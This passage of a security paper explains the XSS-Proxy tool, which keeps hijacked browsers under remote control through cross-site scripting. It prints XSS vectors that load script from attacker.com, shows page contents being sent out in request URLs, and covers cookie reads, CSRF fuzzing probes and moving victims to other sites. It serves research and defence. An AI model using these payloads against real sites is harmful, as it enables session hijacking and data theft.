call the second site banking.com and assume the site has an XSS in a search function that we &lt;br /&gt;
can repeat with a GET). The redirect URL refers to a vulnerable section (cgi/etc) on the &lt;br /&gt;
second server that will cause the server&#39;s response to contain attacker supplied &lt;br /&gt;
Javascript commands that the victim executes.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; The initial XSS vector on evilblog.com would look something like this: &lt;br /&gt;
&amp;nbsp; &amp;lt;script&amp;gt;document.location=”http://banking.com/search?name=&amp;lt;script src=’http://attacker.com/xss.js’&amp;gt;&amp;lt;/script&amp;gt;”&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; With the above XSS vector, the page returned by the second server (banking.com) would &lt;br /&gt;
&amp;nbsp; contain the following: &lt;br /&gt;
&amp;nbsp; &amp;lt;script src=&#39;http://attacker.com/xss.js&#39;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The victim window now has a current document domain of banking.com and the Javascript &lt;br /&gt;
commands are running in that domain. This Javascript causes the victim to make a request &lt;br /&gt;
to http://attacker.com for more script commands. The XSS-Proxy utility is actually running &lt;br /&gt;
at attacker.com and serves up some Javascript to initialize this client that consists of &lt;br /&gt;
several functions for document reading, submission processing, response forwarding and &lt;br /&gt;
error handling, as well as some commands to create an IFRAME, load the root document (/) &lt;br /&gt;
of the target server (banking.com) into that IFRAME, wait a few seconds for it to load, &lt;br /&gt;
read the contents (using innerHTML), then make more script requests to &lt;br /&gt;
http://attacker.com. Sounds complex, but it&#39;s just several functions some references &lt;br /&gt;
to those functions and a timer event to make more script calls to the XSS-Proxy server.&amp;nbsp; The &lt;br /&gt;
functions will stay in memory as long as the victim window doesn&#39;t change. Two things actually &lt;br /&gt;
happen when the victim makes the subsequent script requests to http://attacker.com: &lt;br /&gt;
1 - Contents of the document in the IFRAME (results of innerHTML for that object) are &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; leaked in the URL of script request. Script requests are just GETs, so victim requests &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; the script like a normal document, and stacks parms/info on the URL after the &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; script/page name.&amp;nbsp; This script request would appear somewhat like the following at the &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; attacker&#39;s server: &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; It&#39;s actually a bit more complex than that as IE limits URL lengths (to around 2049 &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; chars), so most documents will need to be chunked up into sections that will fit on &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; the script URL requests. The actual tool tries to handle that, so puts some additional &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; info into the URL requests for re-assembly.&lt;br /&gt;
&lt;br /&gt;
2 - The server at http://attacker.com will respond to the last script request with more &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; script commands to continue the persistence. The server will either respond with loop &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; request (basically tells victim wait a few secs, then check back for more script &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; commands), a document request (load doc into IFRAME, read it and forward results while &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; getting more script commands), a submit requests (set input values in form within &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; IFRAME, submit, await response, read response and forward results back while getting &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; more commands), or a javascript var/function evaluation requests (evaluate an expression &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; within the current window of victim browser and return result+get commands). This &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; process continues as long as the victim stays on the same page.&lt;br /&gt;
&lt;br /&gt;
Here&#39;s an ASCII visual of the Window and attacker target relationships after victim is &lt;br /&gt;
redirected to final Target and hijack session is initialized:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Attacker (XSS-Proxy)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; commands and responses&lt;br /&gt;
Victim Browser&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;-----------------------------|--|-------------&lt;br /&gt;
|Main Window&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; v&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| - This is where our resident functions run&amp;nbsp;&amp;nbsp; | &lt;br /&gt;
| - Commands from attack console execute here &amp;lt;------&lt;br /&gt;
| - Create IFRAME below and read/writes to it&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| - Victim polls every few sec for new commands|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | ^&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -------------------|-|--------------&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | IFRAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; v |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | - This is our document &quot;loader&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | - other documents on target site&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; are loaded here and read by code |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; outside the IFRAME (main)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp; Initial&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp; XSS vector&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^ |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp; to load&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp; functions&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----------------------|-|-----------&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; from &lt;br /&gt;
&amp;nbsp;-----------------------------|-|--------------&amp;nbsp;&amp;nbsp; XSS-Proxy &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | v&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XSS vulnerable server --&amp;gt;--&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (Target - banking.com)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are many methods for hiding the actual &quot;resident&quot; attack window or the loader IFRAME. &lt;br /&gt;
The entire window could be hidden or the original site contents could be left and just the &lt;br /&gt;
IFRAME hidden.&amp;nbsp; The current XSS-Proxy tool leaves the window and its IFRAME visible to &lt;br /&gt;
the victim, but it would be trivial to modify - the attacker can also do this interactively &lt;br /&gt;
with the Javascript Eval from. There also are many methods for forcing a user to load a &lt;br /&gt;
new window and with some additional logic even pop-up blockers can be bypassed (XSS process &lt;br /&gt;
re-writes the links in the original document to open a new window on click). The new window &lt;br /&gt;
could be a mirror of what the user was already viewing or the result of a clicked link in &lt;br /&gt;
the public XSS document and could trick the victim into leaving the XSS controlled window &lt;br /&gt;
running while they continue surfing.&lt;br /&gt;
&lt;br /&gt;
** Using XSS-Proxy **&lt;br /&gt;
While the description above is a bit dry, an actual test drive of the tool against your &lt;br /&gt;
own XSS vulnerable site will highlight the dangers of this attack more fully. Here&#39;s the &lt;br /&gt;
general steps for a demo involving your XSS-flawed server with localhost browser as a &lt;br /&gt;
victim, an XSS-Proxy and an attacker browser. In a real-world attack, the XSS-flawed &lt;br /&gt;
server, victim and XSS-Proxy/attacker hosts would all probably different systems - &lt;br /&gt;
and it would probably involve a vector that redirects from one site to the final site &lt;br /&gt;
that XSS-Proxy will use.&lt;br /&gt;
&lt;br /&gt;
Here&#39;s an overview on using the XSS-Proxy tool:&lt;br /&gt;
1 - Modify the perl script vars $code_server and $PORT to point to the system that you &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; will be running the perl script on. Defaults to port 80 and http://localhost&lt;br /&gt;
2 - Run the perl script and point the attack browser at /admin on the server you are &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; running the perl script. With defaults would be http://localhost/admin. This is the &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; attacker admin console and is where victims can be managed and results viewed.&lt;br /&gt;
3 - The initialization URL a victim needs to point to is /xss2.js - Your initial XSS &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; vector needs to point back to the perl server and this filename (ie for XSSing your &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; own browser with local code server, enter &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script src=&quot;http://localhost/xss2.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; at a site that has an XSS vulnerable input) &lt;br /&gt;
4 - After you have a victim initialized and in a wait loop, you can either browse the / &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; document of the XSS site and click on links you want the victim to visit/forward back, &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; or you can enter documents/variables in the associated form inputs. &lt;br /&gt;
&lt;br /&gt;
XSS-Proxy Admin Commands and operation. &lt;br /&gt;
- The console does not refresh/update on its own. You will need to press the &lt;br /&gt;
&amp;nbsp; refesh/reload button in your browser. &lt;br /&gt;
- Javascript is not required to run the console and it may be safer to disable for the &lt;br /&gt;
&amp;nbsp; attacker console. I&#39;ve XSS&#39;d myself a few times with some advanced testing. &lt;br /&gt;
- Sessions will show up in a &quot;Clients&quot; section once a victim gets XSS&#39;d.&lt;br /&gt;
- Each victim/session should forward a copy of the &quot;/&quot; directory off the XSS&#39;d server.&lt;br /&gt;
- Forwarded documents are listed in the &quot;Document Results&quot; section. If you click on a &lt;br /&gt;
&amp;nbsp; document, it will rewrite the URLs and clicks within that document will make XSS-Proxy &lt;br /&gt;
&amp;nbsp; request the same client load the link &lt;br /&gt;
- If you are modifying a form and submitting, then you need to make sure the last page &lt;br /&gt;
&amp;nbsp; that client loaded is that same page, then fill out values and submit form. Some URL &lt;br /&gt;
&amp;nbsp; re-writing is happening here as well and the code assumes that page is already loaded at &lt;br /&gt;
&amp;nbsp; the victim.&lt;br /&gt;
- You can also do document loads manually by entering the URL in the &quot;Fetch Document&quot; &lt;br /&gt;
&amp;nbsp; form. First value (left) is the session number, and second is the document to retrieve &lt;br /&gt;
&amp;nbsp; (ie - 0 and http://xssed.com/stuff). The resulting document will be listed in the &lt;br /&gt;
&amp;nbsp; &quot;Document Results&quot; section.&lt;br /&gt;
- The other form called &quot;Evaluate&quot; is for querying Javascript vars/functions from &lt;br /&gt;
&amp;nbsp; specific clients. Enter session on left and var on right (ie - 0 and document.cookie &lt;br /&gt;
&amp;nbsp; to display cookies for session 0) &lt;br /&gt;
- Results of evaluate requests will appear in the &quot;Eval Results&quot; section &lt;br /&gt;
- There is an error handler running in the victim browser, so errors from page loads and &lt;br /&gt;
&amp;nbsp; evaluate requests will appear in the &quot;Errors&quot; section. &lt;br /&gt;
&lt;br /&gt;
There are a few bugs in the code still, so read the initial comments in the controller &lt;br /&gt;
script to see what it may have issues with. The attack works with IE and Firefox browsers &lt;br /&gt;
(with some additional tweaks other browsers may work) and the Perl script runs on most &lt;br /&gt;
any OS with a basic Perl install. I&#39;ve tested it on Linux and Windows (Activestate Perl) &lt;br /&gt;
with Perl5. It&#39;s lightweight and extremely portable, but Apache + a DB server would be a &lt;br /&gt;
more roust and stable platform.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** Implications of Attack/Tool **&lt;br /&gt;
This advanced attack allows a persistent connection and an arbitrary number of documents &lt;br /&gt;
to be loaded and forwarded by victims to an attacker. I call these victims in an &lt;br /&gt;
idle/wait state &quot;Browser-Zombies&quot;. The ability to see documents, modify and submit &lt;br /&gt;
documents that the victim may have access to can allow an attacker to elevate access to &lt;br /&gt;
a site by assuming the rights/identity of the XSS victim. This is useful if the victim is &lt;br /&gt;
already logged into a site (see session-riding paper (4)) and the attacker piggybacks on &lt;br /&gt;
this existing session. Cookie theft alone does not work with all site and many sites use &lt;br /&gt;
other authentication methods. XSS-Proxy is an extreme example of session-riding (4) and &lt;br /&gt;
XSS combined and can allow access to the same resources a victim may have. Methods can &lt;br /&gt;
include cached/existing logins, client-side certificates, IP firewalled/filter access &lt;br /&gt;
and even access to other resources behind firewalls (see attack refinements below). &lt;br /&gt;
&lt;br /&gt;
This attack also allows realtime (or scripted) access to the victim browser, and other &lt;br /&gt;
content-type or browser specific vulnerabilities could also be potentially leveraged for &lt;br /&gt;
additional browser/host access. This control channel could also be a delivery mechanism &lt;br /&gt;
for other forms of malware.&lt;br /&gt;
&lt;br /&gt;
This also means than the initial XSS attack and controlled session is not just limited &lt;br /&gt;
to the current XSS vulnerable server. The attacker can re-direct the victim to other XSS &lt;br /&gt;
vulnerable sites after the initial browser hijack, and determine what access the victim &lt;br /&gt;
has to the site. This could even be a list of sites that the attacker knows have XSS &lt;br /&gt;
flaws and would like to check for special access with a specific victim. XSS-Poxy can &lt;br /&gt;
already do this if you have the victim evaluate the expression &lt;br /&gt;
document.location=&quot;http://newxsssite.com/xsscode&quot;. Here&#39;s an example if XSS-Proxy already &lt;br /&gt;
has an existing session 0:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; Form Evaluate:&lt;br /&gt;
&amp;nbsp; Session: 0&lt;br /&gt;
&amp;nbsp; Expression: document.location=&quot;http://2ndxsssite.com/search.cgi?test=%3Cscript%20src=&#39;http://attacker.com/xss2.js&#39;%3E%3C/script%3E&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; The above command will change the current location of the victim&#39;s main window to a new &lt;br /&gt;
&amp;nbsp; XSS target, load code from the attacker server, re-create a loader IFRAME and start a new &lt;br /&gt;
&amp;nbsp; hijacked session with http://2ndxsssite.com as the current document domain. We have &lt;br /&gt;
&amp;nbsp; transferred the initial XSS to another target and maintained control of the victim.&lt;br /&gt;
&lt;br /&gt;
An extension of this idea is to force the victim to continue surfing normally in a window the &lt;br /&gt;
attacker creates and in the other XSS hijacked window force periodic redirects to a list of &lt;br /&gt;
interesting XSS sites -- with each redirect, the attacker checks to see if the victim is at &lt;br /&gt;
one of those sites.&amp;nbsp; If the interactive window is at the same site as the current XSS check-site,&lt;br /&gt;
the attacker will be able to read the contents of the interactive window. This means the &lt;br /&gt;
attacker can now shoulder-surf the victim and even modify server responses and user &lt;br /&gt;
submission as long as the victim stays on that same site. XSS-Proxy doesn&#39;t currently do &lt;br /&gt;
this, but some interactive eval expressions for the session should be able to create a popup &lt;br /&gt;
window (if allowed in browser), make it full screen, and periodically check that window to &lt;br /&gt;
see if the victim has surfed to a location that can be read. For a useful attack, this needs &lt;br /&gt;
to be coded into XSS-Proxy as another attacker command.&lt;br /&gt;
&lt;br /&gt;
Other refinements of this attack could allow blind CSRF based probing for other sites &lt;br /&gt;
with XSS flaws, with validation of XSS vulnerable sites. Validation would be determined &lt;br /&gt;
with responses that set the probe IFRAME/window back to the XSS controlled site and &lt;br /&gt;
allow the already resident XSS code reading the frame again (even more information could &lt;br /&gt;
be passed on the re-direct URL and even if it throws a 404 the XSS code can read it). &lt;br /&gt;
If the XSS probe is unsuccessful, the resident XSS code will be unable to read the IFRAME, &lt;br /&gt;
will delete the IFRAME and try the next test. Again, I&#39;ll update the XSS-Proxy site with &lt;br /&gt;
the details, but if there&#39;s a XSS flaw the CSRF injected vector will point back to a &lt;br /&gt;
site we already XSS control and our script will be able to read the window again. XSS-Proxy &lt;br /&gt;
has IFRAME access denial recovery logic that deletes the IFRAME and reloads the original XSS &lt;br /&gt;
target site root (/) upon failure to read IFRAME. This can be used to do this CSRF XSS &lt;br /&gt;
fuzzing attack with GET URLs by requesting the client fetch a document off another target &lt;br /&gt;
system and include some XSS code in the URL to set the frame back to the original XSS site &lt;br /&gt;
upon success. Here&#39;s an example for doing this with XSS-Proxy and a victim on session 0 who&#39;s &lt;br /&gt;
currently on http://xsssite1.com - this will probe http://csrfprobesite.com:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; Form: Fetch Document&lt;br /&gt;
&amp;nbsp; Session: 0&lt;br /&gt;
&amp;nbsp; Location: http://csrfprobesite/probeurl?probevalue=&amp;lt;script&amp;gt;document.location=&quot;http://xsssite1.com/lalalalala&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; If XSS-Proxy throws an access denied error for the document in the loader IFRAME, the fuzz &lt;br /&gt;
&amp;nbsp; probe failed. If it doesn&#39;t throw an error and the new loader IFRAME document location is &lt;br /&gt;
&amp;nbsp; set to &quot;http://xsssite1.com/lalalalala&quot;, then your blind fuzz worked. &lt;br /&gt;
&amp;nbsp; Note that IE needs somewhere over 512 bytes in the 404 message to override IE&#39;s &lt;br /&gt;
&amp;nbsp; res:// based 404 errors. Firefox doesn&#39;t and always seems to read a 404 just fine.&lt;br /&gt;
&lt;br /&gt;
I have another refinement of this attack that can allow the attacker to masquerade as the &lt;br /&gt;
victim and never reveal his location/IP to a specific target site. I&#39;ll be publishing &lt;br /&gt;
details on the XSS-Proxy site soon, but the method involves multiple XSS target sites and &lt;br /&gt;
covert channels between several IFRAMES on the same page for command/response &lt;br /&gt;
communications. The covert channel is an IFRAME who&#39;s location is swapped between the &lt;br /&gt;
two XSS sites and commands/responses are communicated via the locations URL (This will &lt;br /&gt;
normally throw a 404, but we can still read the location if it&#39;s set to the correct &lt;br /&gt;
document domain). The end-result is that one of the sites doesn&#39;t know where the remote &lt;br /&gt;
script server is located and thinks the attacker is actually the victim&#39;s browser, &lt;br /&gt;
